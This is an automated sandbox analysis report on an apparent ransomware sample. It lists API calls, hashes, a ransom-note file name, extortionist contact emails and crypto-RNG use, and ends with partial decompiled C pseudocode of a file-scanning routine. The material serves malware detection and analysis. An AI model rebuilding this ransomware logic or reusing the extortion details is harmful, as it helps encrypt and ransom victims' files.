Instruction Fuzzy Hash: CC31A4726043009FD710AF74AC4ABAF77E9EF88315F440629F989E6281EB35D9448793

Uniqueness

Uniqueness Score: 4.65%

Function 000CA9B0, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 91encryptionUNIQUE

Download Yara Rule

APIs

Part of subcall function 000B3DE0: __CxxThrowException@8.LIBVCRUNTIME ref: 000B3E34

Part of subcall function 000ADB10: __CxxThrowException@8.LIBVCRUNTIME ref: 000ADBAD
Part of subcall function 000ADB10: __CxxThrowException@8.LIBVCRUNTIME ref: 000ADBDB
Part of subcall function 000ADB10: ___std_exception_copy.LIBVCRUNTIME ref: 000ADC32

Part of subcall function 000CA250: CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000001,F0000000,DB2C627E,0017A548,?,00000000), ref: 000CA295
Part of subcall function 000CA250: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00134D48,000000FF,?,000CAA20), ref: 000CA29B
Part of subcall function 000CA250: CryptAcquireContextA.ADVAPI32(?,Crypto++ RNG,00000000,00000001,00000008), ref: 000CA2AF
Part of subcall function 000CA250: CryptAcquireContextA.ADVAPI32(?,Crypto++ RNG,00000000,00000001,00000028), ref: 000CA2C0
Part of subcall function 000CA250: SetLastError.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00134D48,000000FF), ref: 000CA2E5
Part of subcall function 000CA250: __CxxThrowException@8.LIBVCRUNTIME ref: 000CA314
Part of subcall function 000CA250: ___std_exception_copy.LIBVCRUNTIME ref: 000CA362

Part of subcall function 000CA8E0: CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 000CA972

CryptGenRandom.ADVAPI32(00000000,?,00000000,00000001), ref: 000CAA30
CryptReleaseContext.ADVAPI32(?,00000000), ref: 000CAA4F

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Part of subcall function 000CA3B0: GetLastError.KERNEL32(00000010,DB2C627E,77749159), ref: 000CA400
Part of subcall function 000CA3B0: CryptReleaseContext.ADVAPI32(00000001,00000000,?,00000000,?,0013EA08,00000002, operation failed with error ,0000001D,?,?,OS_Rng: ,00000008,?), ref: 000CA730

__CxxThrowException@8.LIBVCRUNTIME ref: 000CAABA

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,DB2C627E,0016AD84,DB2C627E), ref: 00104817

Strings

CryptGenRandom, xrefs: 000CAA94

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: Crypt$Context$Exception@8Throw$AcquireErrorLastRelease$___std_exception_copy$ExceptionFeaturePresentProcessorRaiseRandom___raise_securityfailure
String ID: CryptGenRandom
API String ID: 75714684-3616286655
Opcode ID: fa1fb5e5ef88d59ef0c35fce92d8fb1583b8d6b8165755f77211b653eb62b16d
Instruction ID: 66dae4eea10617d2d4e1ea09e3ffc2d8d5e1dd61b28563c01bc0077e8d573a83
Opcode Fuzzy Hash: fa1fb5e5ef88d59ef0c35fce92d8fb1583b8d6b8165755f77211b653eb62b16d
Instruction Fuzzy Hash: 5D317E71A00358AFDB10DFA4DC45FDEBBB8EF15714F100169F815A7282DB759A08CBA1

Uniqueness

Uniqueness Score: 100.00%

Function 000CA810, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 75encryptionUNIQUE

Download Yara Rule

APIs

Part of subcall function 000ADB10: __CxxThrowException@8.LIBVCRUNTIME ref: 000ADBAD
Part of subcall function 000ADB10: __CxxThrowException@8.LIBVCRUNTIME ref: 000ADBDB
Part of subcall function 000ADB10: ___std_exception_copy.LIBVCRUNTIME ref: 000ADC32

Part of subcall function 000CA250: CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000001,F0000000,DB2C627E,0017A548,?,00000000), ref: 000CA295
Part of subcall function 000CA250: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00134D48,000000FF,?,000CAA20), ref: 000CA29B
Part of subcall function 000CA250: CryptAcquireContextA.ADVAPI32(?,Crypto++ RNG,00000000,00000001,00000008), ref: 000CA2AF
Part of subcall function 000CA250: CryptAcquireContextA.ADVAPI32(?,Crypto++ RNG,00000000,00000001,00000028), ref: 000CA2C0
Part of subcall function 000CA250: SetLastError.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00134D48,000000FF), ref: 000CA2E5
Part of subcall function 000CA250: __CxxThrowException@8.LIBVCRUNTIME ref: 000CA314
Part of subcall function 000CA250: ___std_exception_copy.LIBVCRUNTIME ref: 000CA362

Part of subcall function 000CA8E0: CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 000CA972

CryptGenRandom.ADVAPI32(00000000,DB2C627E,7757C452), ref: 000CA86A
CryptReleaseContext.ADVAPI32(DB2C627E,00000000), ref: 000CA885

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Part of subcall function 000CA3B0: GetLastError.KERNEL32(00000010,DB2C627E,77749159), ref: 000CA400
Part of subcall function 000CA3B0: CryptReleaseContext.ADVAPI32(00000001,00000000,?,00000000,?,0013EA08,00000002, operation failed with error ,0000001D,?,?,OS_Rng: ,00000008,?), ref: 000CA730

__CxxThrowException@8.LIBVCRUNTIME ref: 000CA8CB

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,DB2C627E,0016AD84,DB2C627E), ref: 00104817

Strings

CryptGenRandom, xrefs: 000CA8A5

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: Crypt$Context$Exception@8Throw$AcquireErrorLastRelease$___std_exception_copy$ExceptionFeaturePresentProcessorRaiseRandom___raise_securityfailure
String ID: CryptGenRandom
API String ID: 75714684-3616286655
Opcode ID: dc69d67da22e17dfddc6fcb51dd0cbdf5f02d6a0339ce9bc705ff1fe5ad58c23
Instruction ID: 623579c2eb4bb25faf1d8e4b494d5b2debe8167f348b10f1828a20ba27bcdf0c
Opcode Fuzzy Hash: dc69d67da22e17dfddc6fcb51dd0cbdf5f02d6a0339ce9bc705ff1fe5ad58c23
Instruction Fuzzy Hash: 9D115971A40248EBDB14DFE4CC55BEEBBB8FF05714F404169B816B7281DB756508CBA1

Uniqueness

Uniqueness Score: 100.00%

Function 000913D0, Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 250UNIQUE

Download Yara Rule

APIs

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 000916FE

Part of subcall function 000D9E03: std::ios_base::_Tidy.LIBCPMT ref: 000D9E23

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Strings

DharmaParrack@protonmail.comwyattpettigrew8922555@mail.com, xrefs: 0009166B
README_LOCKED.txt, xrefs: 0009140C

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: std::ios_base::_$FeatureIos_base_dtorPresentProcessorTidy___raise_securityfailure
String ID: DharmaParrack@protonmail.comwyattpettigrew8922555@mail.com$README_LOCKED.txt
API String ID: 2896088507-2630719882
Opcode ID: b8029f0bf38c278daf7bb11a2972bc71253d183c59a3b6f9d34b5eaba87b4da5
Instruction ID: f8f82f91f9fce98e32f462879340216bafba77c14920b6d312bc727c3fca42ef
Opcode Fuzzy Hash: b8029f0bf38c278daf7bb11a2972bc71253d183c59a3b6f9d34b5eaba87b4da5
Instruction Fuzzy Hash: 07A1AE71A00249DFDF14DFA8C989BDEBBF5EF48304F244568E404BB282D775AA44CB61

Uniqueness

Uniqueness Score: 100.00%

Function 001190D7, Relevance: 4.5, APIs: 3, Instructions: 20COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000003,?,001190AD,00000003,0016C428,0000000C,00119204,00000003,00000002,00000000,?,00112338,00000003), ref: 001190F8
TerminateProcess.KERNEL32(00000000,?,001190AD,00000003,0016C428,0000000C,00119204,00000003,00000002,00000000,?,00112338,00000003), ref: 001190FF

Part of subcall function 0011915C: GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,0011910D,00000003,?,001190AD,00000003,0016C428,0000000C,00119204,00000003,00000002), ref: 0011917C
Part of subcall function 0011915C: GetProcAddress.KERNEL32(00000000,CorExitProcess,?,?,?,?,0011910D,00000003,?,001190AD,00000003,0016C428,0000000C,00119204,00000003,00000002), ref: 0011918F
Part of subcall function 0011915C: FreeLibrary.KERNEL32(00000000,?,?,?,0011910D,00000003,?,001190AD,00000003,0016C428,0000000C,00119204,00000003,00000002,00000000), ref: 001191B2

ExitProcess.KERNEL32 ref: 00119111

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: Process$AddressCurrentExitFreeHandleLibraryModuleProcTerminate
String ID:
API String ID: 3650431659-0
Opcode ID: 051adffea2fdb8e59d6bd979cbd06922681f7389284fb4e2f69150c23c952b65
Instruction ID: 1f08fdf8825e61961c47d360edb6b78de0f5fe9043214d54bff5f914b4fe0ec0
Opcode Fuzzy Hash: 051adffea2fdb8e59d6bd979cbd06922681f7389284fb4e2f69150c23c952b65
Instruction Fuzzy Hash: 88E04631000109AFCF096F64DD1CA993B29EF10351B490024F8988A531CB36DCC2CA41

Uniqueness

Uniqueness Score: 0.05%

Function 0009D7B0, Relevance: 2.6, APIs: 1, Instructions: 1056COMMON

Download Yara Rule

APIs

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

__CxxThrowException@8.LIBVCRUNTIME ref: 0009E5F8

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,DB2C627E,0016AD84,DB2C627E), ref: 00104817

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: ExceptionException@8FeaturePresentProcessorRaiseThrow___raise_securityfailure
String ID:
API String ID: 3939691812-0
Opcode ID: a9319865b244b7ff538c639fdb4a4ee7c4e1ef8d8ceccbac571939e0033c8ec1
Instruction ID: 91247f98b620aedd7adcb2bb521c5b587de36e4cc9f0fd92141a9739866d78b7
Opcode Fuzzy Hash: a9319865b244b7ff538c639fdb4a4ee7c4e1ef8d8ceccbac571939e0033c8ec1
Instruction Fuzzy Hash: 12A27B71900258DFDF24CF68C844BEEB7B6AF49300F1485D9E44AA7292DB70AE84DF90

Uniqueness

Uniqueness Score: 0.31%

Function 000CC435, Relevance: 2.3, Strings: 1, Instructions: 1018COMMON

Download Yara Rule

Strings

, xrefs: 000CC6D4

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 233d4b43b36fc11625ee07f8d4f3e2d0bfcaef1248e9c5b373b2de335c89c8cd
Instruction ID: 25a0354041981c1ebd52586521a5d322a753fb9f54369c6dc1dad248abac14ac
Opcode Fuzzy Hash: 233d4b43b36fc11625ee07f8d4f3e2d0bfcaef1248e9c5b373b2de335c89c8cd
Instruction Fuzzy Hash: 23A248B4A00119EFCB18CF98D4A1ABDB7F1FB48310F24449DE556AB392C635AE92DF50

Uniqueness

Uniqueness Score: 0.02%

Function 000A8150, Relevance: 2.2, Strings: 1, Instructions: 952COMMON

Download Yara Rule

Strings

\, xrefs: 000A86FF

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: \
API String ID: 3761405300-2967466578
Opcode ID: b5b294f468b941abf0ec0829fd160134316c98c01b5b4fbf1021709c4b5ff1cc
Instruction ID: c18ae8e478cc36faf749949163192014706d60e0f70b9beca30111e3e072596d
Opcode Fuzzy Hash: b5b294f468b941abf0ec0829fd160134316c98c01b5b4fbf1021709c4b5ff1cc
Instruction Fuzzy Hash: 07825D70E00208DFDB14DFE8D8C5AEEBBB5BF59310F248629E415AB382DB759941CB61

Uniqueness

Uniqueness Score: 0.95%

Function 000CA8E0, Relevance: 1.6, APIs: 1, Instructions: 72encryptionCOMMON

Download Yara Rule

APIs

Part of subcall function 000ECF08: __CxxThrowException@8.LIBVCRUNTIME ref: 000EE12F

CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 000CA972

Part of subcall function 000CA250: CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000001,F0000000,DB2C627E,0017A548,?,00000000), ref: 000CA295
Part of subcall function 000CA250: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00134D48,000000FF,?,000CAA20), ref: 000CA29B
Part of subcall function 000CA250: CryptAcquireContextA.ADVAPI32(?,Crypto++ RNG,00000000,00000001,00000008), ref: 000CA2AF
Part of subcall function 000CA250: CryptAcquireContextA.ADVAPI32(?,Crypto++ RNG,00000000,00000001,00000028), ref: 000CA2C0
Part of subcall function 000CA250: SetLastError.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00134D48,000000FF), ref: 000CA2E5
Part of subcall function 000CA250: __CxxThrowException@8.LIBVCRUNTIME ref: 000CA314
Part of subcall function 000CA250: ___std_exception_copy.LIBVCRUNTIME ref: 000CA362

Part of subcall function 000ED2BB: __onexit.LIBCMT ref: 000ED2C1

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: ContextCrypt$Acquire$ErrorException@8LastThrow$Release___std_exception_copy__onexit
String ID:
API String ID: 4182043879-0
Opcode ID: f0cc0e481c4c809f2b1cd85b3ebe7c1c565ce1cbdb90726a0084650cf043cc6d
Instruction ID: 2a0c3524f1a60f50002065dac5be9a0b93871274cab8b99d953de46f42eea54c
Opcode Fuzzy Hash: f0cc0e481c4c809f2b1cd85b3ebe7c1c565ce1cbdb90726a0084650cf043cc6d
Instruction Fuzzy Hash: 5A2193B2F442149BD7108F69EC06B6AB7F8EB45B54F01422EF909D7780EBB598448791

Uniqueness

Uniqueness Score: 0.03%

Function 000EE33E, Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0009E34A), ref: 000EE343

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: ccf21329047f353a4705f667342f3785e884005f9ea7d0193f5c3028619b3c13
Instruction ID: 1c399f618a5fc33f7fd8001e87c3ff75260e65a60c1f20ed5338eef961c7cbeb
Opcode Fuzzy Hash: ccf21329047f353a4705f667342f3785e884005f9ea7d0193f5c3028619b3c13
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: 0.01%

Function 00051400, Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: Crypt$ContextException@8RandomReleaseThrow__onexit
String ID:
API String ID: 939251196-0
Opcode ID: a4a714d6e60771055cbf163b6e23f401b0666572ba69f28da06da0819b61c6db
Instruction ID: 9c4da11e1714efb68990765c92225192de1b6e4b2fe9e5dc060538c5d78884c3
Opcode Fuzzy Hash: a4a714d6e60771055cbf163b6e23f401b0666572ba69f28da06da0819b61c6db
Instruction Fuzzy Hash: C9F0A0B1B44348EBC300DF44ED12B59B3B4EB45B14F40426EF919A77C2DBB665008696

Uniqueness

Uniqueness Score: 0.00%

Function 00060580, Relevance: 30.4, APIs: 5, Strings: 12, Instructions: 688
threadUNIQUE

Download Yara Rule

C-Code - Quality: 80%

			E00060580(void* __ebx, intOrPtr* __ecx, signed int __edx, void* __edi) {
				char _v8;
				char _v16;
				signed int _v20;
				signed int _v24;
				char _v28;
				char _v44;
				char _v52;
				intOrPtr _v56;
				char _v60;
				char _v76;
				signed int _v80;
				signed int _v84;
				char _v100;
				char _v101;
				signed int _v108;
				char _v112;
				signed int _v116;
				intOrPtr* _v120;
				char _v124;
				char _v128;
				intOrPtr _v132;
				signed int _v136;
				signed int _v140;
				intOrPtr* _v144;
				signed int _v148;
				intOrPtr _v156;
				char _v160;
				intOrPtr _v164;
				char _v168;
				char _v172;
				intOrPtr _v176;
				intOrPtr _v180;
				signed int _v184;
				char _v188;
				char _v192;
				char _v196;
				char _v200;
				char _v204;
				char _v208;
				signed int _v212;
				char _v220;
				char _v224;
				char _v228;
				char _v232;
				signed int _v236;
				char _v240;
				void* _v244;
				char _v316;
				char _v416;
				char _v420;
				char _v596;
				char _v604;
				void* __esi;
				void* __ebp;
				signed int _t278;
				signed int _t279;
				signed int _t282;
				intOrPtr* _t284;
				void* _t286;
				signed int _t301;
				void* _t305;
				intOrPtr _t306;
				intOrPtr* _t316;
				intOrPtr* _t323;
				signed int _t328;
				signed int _t330;
				signed int _t337;
				signed int _t339;
				intOrPtr _t344;
				signed int _t345;
				signed int _t348;
				signed int _t351;
				signed int _t352;
				intOrPtr _t353;
				void* _t359;
				intOrPtr _t366;
				signed int _t370;
				signed int _t377;
				signed int _t378;
				signed int _t379;
				intOrPtr _t386;
				intOrPtr _t390;
				void* _t394;
				signed int _t396;
				void* _t397;
				void* _t411;
				intOrPtr _t413;
				void* _t428;
				void* _t434;
				intOrPtr _t440;
				intOrPtr _t442;
				signed int _t453;
				intOrPtr _t454;
				intOrPtr* _t455;
				intOrPtr* _t461;
				signed int _t465;
				char _t479;
				char _t484;
				char _t485;
				intOrPtr _t493;
				intOrPtr _t495;
				intOrPtr _t502;
				signed int _t504;
				signed int _t506;
				void* _t507;
				intOrPtr _t509;
				signed int _t511;
				signed int _t517;
				signed int _t519;
				signed int _t523;
				signed int _t525;
				signed int _t527;
				signed int _t531;
				signed int _t535;
				void* _t536;
				void* _t538;
				void* _t543;
				void* _t548;
				void* _t549;
				void* _t551;

				_t499 = __edx;
				_t438 = __ecx;
				_t437 = __ebx;
				_t531 = _t535;
				_push(0xffffffff);
				_push(E0012E1C6);
				_push( *[fs:0x0]);
				_t536 = _t535 - 0x244;
				_t278 =  *0x16f170; // 0xdb2c627e
				_t279 = _t278 ^ _t531;
				_v20 = _t279;
				_push(_t517);
				_push(__edi);
				_push(_t279);
				 *[fs:0x0] =  &_v16;
				_v144 = __ecx;
				_t511 = 0;
				_v136 = 0;
				_v108 = 0;
				if( *0x17a480 != 0) {
					_v132 = 0x17a4f8;
					_t428 = E000DA3B6(0x17a4f8);
					_t551 = _t536 + 4;
					_t555 = _t428;
					if(_t428 != 0) {
						E000D7281(__ebx, _t438, __edx, 0, _t517, _t428);
						_t551 = _t551 + 4;
					}
					_v8 = 0;
					E00064C00( &_v420, _t555, "c:/.log", 0xc);
					_v8 = 1;
					E0006DBF0(_t437, E0006C590( &_v420, "scanning..."));
					E00060FB0( &_v420);
					_v8 = 2;
					_t434 = E000DA3DB(0x17a4f8);
					_t536 = _t551 - 8 + 0x10;
					if(_t434 != 0) {
						E000D7281(_t437,  &_v420, _t499, _t511, _t517, _t434);
						_t536 = _t536 + 4;
					}
					_v8 = 0xffffffff;
				}
				L0005CF80(_t437,  &_v184, _t511);
				_v8 = 3;
				_t282 = _v184;
				_t440 = _v180;
				_v140 = _t282;
				_v132 = _t440;
				_t557 = _t282 - _t440;
				if(_t282 == _t440) {
					L85:
					_v8 = 0xffffffff;
					if(_t282 == 0) {
						L89:
						_t284 =  *_v144;
						_t442 =  *_t284;
						 *_t284 = 1;
						if( *0x17a480 != 0) {
							_v132 = 0x17a4f8;
							_t286 = E000DA3B6(0x17a4f8);
							_t538 = _t536 + 4;
							_t584 = _t286;
							if(_t286 != 0) {
								E000D7281(_t437, _t442, _t499, _t511, _t517, _t286);
								_t538 = _t538 + 4;
							}
							_v8 = 0x14;
							E00064C00( &_v596, _t584, "c:/.log", 0xc);
							_v8 = 0x15;
							E0006DBF0(_t437, E0006C590( &_v596, "scan finised"));
							E00060FB0( &_v596);
							_v8 = 0x16;
							if(E000DA3DB(0x17a4f8) != 0) {
								E000D7281(_t437,  &_v596, _t499, _t511, _t517, _t292);
							}
						}
						 *[fs:0x0] = _v16;
						return E000ECED8(_v20 ^ _t531);
					} else {
						_push(_t440);
						E000709A0(_t437, _t282, _t440);
						_t517 = _v184;
						_t543 = _t536 + 4;
						_t499 = 0x2aaaaaab * (_v176 - _t517) >> 0x20 >> 2;
						_t301 = _t517;
						_t453 = (0x2aaaaaab * (_v176 - _t517) >> 0x20 >> 2 >> 0x1f) + (0x2aaaaaab * (_v176 - _t517) >> 0x20 >> 2) + ((0x2aaaaaab * (_v176 - _t517) >> 0x20 >> 2 >> 0x1f) + (0x2aaaaaab * (_v176 - _t517) >> 0x20 >> 2)) * 2 << 3;
						if(_t453 < 0x1000) {
							L88:
							_push(_t453);
							E000ED2D0(_t517);
							_t536 = _t543 + 8;
							goto L89;
						} else {
							_t517 =  *(_t517 - 4);
							_t453 = _t453 + 0x23;
							if(_t301 - _t517 + 0xfffffffc > 0x1f) {
								goto L95;
							} else {
								goto L88;
							}
						}
					}
				} else {
					_v204 = 0;
					_v200 = 0;
					_v196 = 0;
					_v192 = 0;
					do {
						E00064650( &_v100, _t499, _t282);
						_v128 = 0;
						_v124 = 0;
						_v120 = 0x1522a0;
						_push(0x14);
						_v8 = 5;
						_t523 = E000ECF08(_t517, _t557);
						 *_t523 = 0;
						 *((intOrPtr*)(_t523 + 4)) = 0;
						 *((intOrPtr*)(_t523 + 8)) = 0;
						 *((intOrPtr*)(_t523 + 0xc)) = 0;
						 *((intOrPtr*)(_t523 + 0x10)) = 0;
						_v116 = _t523;
						_v112 = 0;
						_t316 = E0007B220( &_v188, _t523);
						_v112 =  *_t316;
						 *_t316 = _v112;
						E00053860( &_v188);
						_push(_t523);
						_push(_t523);
						_push( &_v116);
						E000538F0( &_v116);
						_t536 = _t536 + 0x10;
						 *((intOrPtr*)(_v116 + 0x10)) = 0;
						_t517 = _v116;
						_t323 = E000551B0(_t437, _t557,  &_v100,  &_v128);
						_t499 =  *(_t517 + 4);
						_t461 = _t323;
						if( *((intOrPtr*)(_t517 + 8)) == _t499) {
							_push(_t461);
							_push(_t499);
							E0006FC30(_t437, _t517, _t511);
						} else {
							 *_t499 =  *_t461;
							_t495 =  *((intOrPtr*)(_t461 + 4));
							 *((intOrPtr*)(_t499 + 4)) = _t495;
							if(_t495 != 0) {
								asm("lock xadd [ecx], eax");
							}
							 *(_t517 + 4) =  *(_t517 + 4) + 8;
						}
						E00053860( &_v240);
						_t328 =  *( *((intOrPtr*)(_v116 + 4)) - 8);
						if(_t328 == 0) {
							L15:
							_v101 = 1;
						} else {
							_v101 = 0;
							if( *((intOrPtr*)(_t328 + 0x28)) == 0) {
								goto L15;
							}
						}
						E00053860( &_v200);
						if(_v101 != 0) {
							_v212 = _v116;
							_v116 = 0;
							_v112 = 0;
							_v208 = _v112;
							E00053860( &_v208);
						}
						_v8 = 7;
						if(_v124 == 0) {
							while(1) {
								_t465 = _v116;
								do {
									L39:
									__eflags = _t465;
									if(_t465 == 0) {
										L42:
										_t330 = 1;
									} else {
										__eflags =  *_t465 -  *((intOrPtr*)(_t465 + 4));
										if( *_t465 ==  *((intOrPtr*)(_t465 + 4))) {
											goto L42;
										} else {
											_t330 = 0;
										}
									}
									__eflags = _t330;
									if(_t330 != 0) {
										E00053860( &_v192);
										E00053860( &_v112);
										_v8 = 3;
										E00054B10(_t437,  &_v100, _t511, _t517);
										_t511 = _v108;
										goto L83;
									} else {
										_v8 = 0xf;
										_t471 =  *((intOrPtr*)( *((intOrPtr*)(_t465 + 4)) - 8));
